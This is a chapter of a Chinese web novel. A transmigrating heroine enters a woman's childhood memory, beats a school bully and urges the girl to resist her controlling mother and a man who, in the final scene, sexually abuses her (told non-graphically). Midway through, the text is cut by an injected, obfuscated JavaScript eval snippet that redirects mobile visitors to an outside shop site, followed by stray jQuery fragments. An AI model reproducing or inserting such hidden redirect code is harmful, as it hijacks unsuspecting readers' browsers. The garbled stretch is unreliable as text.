【系统,这到底是怎么回事?】符瑞亚口鼻中塞满头发,呼吸困难大脑几近缺氧。
【很遗憾,截止目前宿主未能完成支线任务。】
【那怎么办?我能回到陈丽质试镜前,提前去给她做头发植入吗?】这是目前她能想到最好的解决办法了。
【精神场内的回忆场景不可重复进入,宿主可选择倒退进入精神场主人最后的记忆场景。
机会只有一次,失败后宿主肉身将不受保护,走向死亡。
请宿主慎重选择。】
选择个屁?
难道她现在选择不进入就能活着了吗?还不是死路一条。
【我进!】
——
话刚说完,符瑞亚就感觉自己喉间一松,氧气萦绕在鼻尖被她大口大口贪婪地吸入肺。
好险......差一点就被憋死了。
傍晚天空依旧透亮,空气暖融融的。远处操场上,自动喷灌系统正滋滋转动着,水珠泼洒在半空。偶尔会传来几声小孩子玩闹的呼喊声,只是距离隔得太远叫人听得不太真切。
这里是小学?
符瑞亚急忙低下头看自己的手,指尖边缘被啃得凹凸不平,指缝里塞着黑泥,手肘处还贴着几块卡通创可贴。她用拇指抠开翘起的边缘,想要看看隐隐传来阵痛的到底是什么伤。
没有伤口?
她有些诧异,诧异一个只有八九岁的女孩身上会有这么多青紫瘀痕,还此地无银三百两用创口贴遮了起来。
摇了摇头,符瑞亚将创口贴又按回去,反正这不是她现在该操心的事。
眼睛在操场四处逡巡着,不放过一个角落。
果然功夫不负有心人,她终于找到了陈丽质的身影。
陈丽质也变成了八九岁的年纪,虽然模样和长大后不太一样,但她还是凭直觉一眼就认了出来。
小女孩穿着一双黑色小皮鞋,脚步踩在地上“咔哒咔哒”,梳着一头鱼骨辫,头上贴了好几个可爱的星星发卡。
“陈丽质!”符瑞亚大喊一声,一惊一乍的动作吓了对方一跳。
她紧赶慢赶一路狂奔,终于气喘吁吁地站在了陈丽质身旁。
陈丽质低下头挪开目光:“我都和你说了,我妈不让我再和你玩......”
???什么鬼?
她眼睛瞪圆,像是一定要个说法,僵持片刻后陈丽质还是妥协了:“我妈说你......”但还是羞于启齿,只用眼神示意她的脚。
符瑞亚一头雾水,顺着对方的视线落在自己的鞋面上。
终于,她明白了。
脚上的白布鞋的鞋头已经磨出灰色毛边,深一块浅一块的,一看卫生条件就让人堪忧,是个小脏孩。
“别说你妈怎么说,就说你自己,你到底想不想和我一起玩。”顿了顿,她又加上句:“玩跳房子。”
游戏对孩子的吸引力是巨大的,可妈妈的告诫也不敢不听,陈丽质的五官拧成一团,肉眼可见天人交战,纠结了许久才道:“那我们偷偷玩,别让我妈知道。”
夏天空气湿漉漉的,身上像披了条薄毯,连汗毛都软趴趴地没有力气。
两人往阴凉处走。
到了地方后,符瑞亚刚要放下书包,就听到身后传来大声的嗤笑:“呦!这不是丑八怪吗?”
一个抱着足球的男孩站在不远处,看着就来者不善。
男孩每走近一步就碾碎一粒地上的石子,“咔嚓咔嚓”,吓得陈丽质已经躲到她身后去了。
十指攥着书包背带,她有些不耐烦:“你想做什么?”
她现在对和除了陈丽质以外的人相处没有任何兴趣。
男孩猛地将足球砸到她腿上,“砰”地一声后足球又弹飞滚走。
???
符瑞亚强忍着心中邪火问那熊孩子:“我身上的伤都是你......”
她话还没说完就被那男孩打断,“想揍你就揍你了,难道还要挑日子吗?你要是给我上点供,或许我今天就可以大发善心放你一马。”
边说男孩右手两根手指边摩挲,要钱的意思溢于言表。
陈丽质看来看去,像只慌乱的兔子,脚步微微向前挪了挪,声音低得宛如蚊子叫:“我......”
男孩不耐烦地翻了个白眼:“陈丽质,这没你的事,要不是看你长得漂亮,我连你也一起揍。”
这凶神恶煞的威胁让陈丽质好不容易迈出去的一小步又退了回去。
男孩越靠越近,“丑八怪,又丑又胖,看到你我就倒胃口,夏天还身上还死臭死臭的。你说你还来学校干什么?”边说,男孩伸手就去抓她衣领。
符瑞亚双手死死按住男孩右手,将其按在锁骨下方。男孩吃痛便想要抽开手,却如陷入泥沼一般死活挣脱不开,额头上的汗珠越积越多。
她左腿抬起,狠踹男孩的小腿,只听一声凄惨的哀嚎,男孩已经抱膝倒地翻滚起来。
“你死定了!你给我等着......唔唔。”
符瑞亚的帆布鞋头塞进男孩口中,也同样截断了他的话,“我给你两个选择,要么你自己滚开,要么我扯着你的后衣领,把你像死狗一样拖出去。
你可以选了。”
“唔唔唔。”脚下的男孩再次剧烈挣扎起来。
轻笑一声,她抽回脚将鞋头在地上蹭了蹭,语气有些抱歉:“忘了你还不能说话。”
再次转回身就看到了陈丽质的嘴已经张成了O型,盯着男孩落荒而逃的背影迟迟不能回神。
“喂!醒醒!”符瑞亚在石化雕像眼前打了个响指。
陈丽质如梦初醒,话说得都不利索:“你......你刚才......”
耸耸肩,她毫不在意地说:“我刚才打倒了霸凌我的人,怎么了?”
咽了咽口水,陈丽质摇摇头说:“没怎么,没怎么。我该回家了。”脚底像是抹了油,陈丽质恨不得一步就窜出去,马上溜之大吉。
远处教学楼的红砖被夕阳烧成铁锈,树上蝉鸣窸窸窣窣。
“陈丽质!”符瑞亚再次呼喊。
陈丽质闻声回头,脚步不得不定在原地,眼神满是不解。
她胖胖的一张脸因为笑容皱成一团,眼睛被面颊拱起的肌肉挤成一条缝:“你的头发很漂亮,是我见过最漂亮的头发。你......你也很漂亮,这是我的真心话。”
陈丽质的双眼瞬间瞪大,浅棕色瞳仁在阳光下闪闪发光。
“但......你觉我能打败那个人是为什么?
是因为我很漂亮吗?因为我是世界上最漂亮的人吗?”这话荒谬得她都想笑,不过她也确实笑了。
嘴唇嗫嚅了两下,陈丽质想说些什么但最终还是选择沉默。
符瑞亚摇了摇头,举起自己胖胖黑黑的拳头:“是因为我的拳头很硬,腿也很硬,所以我揍他才能轻而易举。
谁掌握强大的力量谁就是老大,所以从今天以后他见到我就得绕道走。谁要是敢欺负我,那我就会用我的一双拳头打的他满地找牙。
陈丽质,你听懂了吗?”
地面蒸起的尘土味干燥呛人,身旁垃圾桶的食物开始腐烂,陈丽质却恍若未曾察觉。
符瑞亚扶正书包,理顺额前的碎发:“所以,陈丽质......反抗吧。
找到属于你自己的拳头。
陈丽质,要反抗啊。”
——
高温让空气中带上了催眠的困意,整个世界都变得朦朦胧胧,陈丽质独自走在回家的小路上,却感觉自己好像是泡在了盐水里。
反抗吧......
那句刺耳的话在她脑中循环播放,陈丽质第一次开始为自己过去的小心思而感到羞耻。
是的,她曾经冷眼旁观那个小胖妞被人霸凌。
她甚至在暗自庆幸,庆幸自己足够漂亮,可以逃脱被霸凌的命运。
但.....陈丽质闭上双眼,不想再去回忆那人坚定鼓励的眼神。
原来她一直都是那么卑劣的人啊,可真叫人讨厌。
家门被小心翼翼地关上,陈丽质换上拖鞋轻声说:“我回来了。”
没人回应。
但她也早就习惯了,推开卧室门就看到妈妈在给她收拾衣服。见她回来,妈妈也只是瞥了一眼就又低头去挑拣。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722193|208723||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
这些衣服都不太适合你了,明天妈带你再去试试,你到时候换上这件,那经纪公司保准要你。”妈妈神色激动,展开一件蓬蓬的公主裙给她看。
很漂亮的一条红裙子,上身泡泡袖、下摆是蕾丝,就是布料少得可怜。
“妈,要不然我明天还是在家看书吧......”
“说什么呢你!”妈妈的嗓音顿时拔高,突然换了一副脸色:“我好不容易给你找的机会,你说不去就不去了?”
陈丽质低下头不敢说话。
发完火,妈妈又苦口婆心地劝道:“妈从小就梦想能做个演员,可惜妈天资不够没你漂亮。
所以才费劲心思在演艺道路上栽培你,你可是妈妈的全部啊,你怎么好意思半途而废呢?”
天资吗?
也许她小时候是很好看吧,但上了小学以后就开始有了长残的趋势,不然那些曾对她趋之若鹜的杂志社,现在一个个也不会总是借口推脱。
妈妈就不能接受她已经没有那么漂亮了的事实吗?
耳边的魔咒再次响起,“反抗啊......陈丽质,反抗啊。”
陈丽质深吸一口气,双手紧握成拳鼓起勇气说:“妈,我不想当演员,我想好好学习以后去做医生。”
说罢,她便屏住呼吸等待妈妈的斥责。
只要以后能不去做演员,那妈妈现在怎么骂她都无所谓。
可预料之中的责骂没有砸到她头上,妈妈突然站起身,脸上肌肉绷紧、法令纹刀刻般深,妈妈扯过她,一手抬起她的下巴,皱着眉仔细端详。
“你是不是胖了?怎么这个角度去看都有双下巴了?是不是在学校偷吃零食了?”妈妈神色严肃,随后直接松开手匆匆出去。
妈妈的嗓音在她身后回荡:“今天晚饭不许吃了,我得去给你开点减肥药。”
原来比被打骂更悲惨的是被无视啊。
陈丽质看向自己的掌心轻笑出声,这世上有人天生就有坚硬的拳头,而她......是这辈子都长不出拳头了。
——
夜里,床上的二手全息投影仪没关,一只卡通兔子悬浮在天花板,像素不太稳定总有雪花躁点。天花板上的霉菌斑每天都在扩大,像一只手掌盖在陈丽质的头上。
门口有脚步声一步步踩在地板上,门把手转动了几下后打不开,门外又传来钥匙哗啦哗啦的声音。
陈丽质一颗心脏狂跳,可呼吸却弱到近乎消失,她双手死死抓住被子闭上眼睛假装已经睡去。
门开了。
男人的呼吸声粗重伴随着酒气,在黑夜里叫人想忽视都难。
又来了......
随着门被关上,客厅里的电视声也被隔绝住。
陈丽质后背紧贴着床,双手死攥着被角,后颈处的汗珠随着顺着脊背一点点下滑,最终被吸进床单中。
“丽丽?”男人站在黑暗中轻声呼唤她。
卧室内一片安静,连呼吸声都没有。
男人缓缓靠近,脱鞋上床躺在了她身边搂住她,酒气和温热的呼吸喷薄在她脸颊上,她虽然闭着眼,可睫毛依旧不受控制地快速颤抖起来。
来个人救救她吧......
柔软的嘴唇在她脸上游走,一只有力的手从她心口一路向下,最后隐没于她的睡裙中。
妈妈......为什么我绝望地喊了那么多次,你却每次都在沉默呢?
真的是电视声太大了你才听不到的吗?还是你故意将电视的音量调到那么大的?
陈丽质的眼睛已经撕扯不出泪水,她只祈祷这次能像过去一样快点结束。
“陈丽质,反抗啊......反抗啊。”可那句话如魔咒般再次侵占了她的脑海。
空气净化器在墙角发出低频嗡鸣,耳边是男人粗重的呼吸声。
她缓缓睁开眼睛,木然地望着头顶那个卡通兔子,眼神渐渐聚焦,一时竟忘记了下身的颤动。
兔子在她眼前迅速扩散开来,拳头像是被打了肌肉增长剂般膨胀鼓起。
原来,任人宰割、柔软懦弱的兔子居然也是可以长出拳头来的吗?
那她呢......